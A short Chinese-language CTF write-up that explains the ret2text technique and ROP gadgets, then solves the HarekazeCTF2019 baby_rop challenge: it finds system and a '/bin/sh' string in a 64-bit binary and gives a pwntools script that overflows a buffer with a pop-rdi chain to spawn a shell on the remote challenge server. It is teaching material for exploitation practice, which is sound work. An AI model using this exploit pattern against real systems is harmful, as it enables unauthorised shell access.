ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text),使EIP指向具有system(“/bin/sh”)的代码段。
其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例题: [HarekazeCTF2019]baby_rop(ret2text)
先查壳,开了NX,64位

IDA打开,F5查看main函数


看见system函数
然后F12+shift搜索字符串,还找到了’/bin/sh/‘


因为64位传参需要用到寄存器,所以用gadget找到rdi寄存器位置

exp
from pwn import *
context.log_level = "debug"
# io = process('./babyrop')
io = remote('node3.buuoj.cn','28379')
e = ELF('./babyrop')
binsh_addr = 0x601048
system_addr = e.symbols['system']
pop_rdi = 0x400683
io.recvuntil('your name?')
payload = 0x18 * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
这里夺权之后还有一个小坑,就是flag不在根目录下,需要通过查找获得位置,然后拿到flag

这是属于最简单的例题,稍微难一点的会涉及到计算地址偏移量。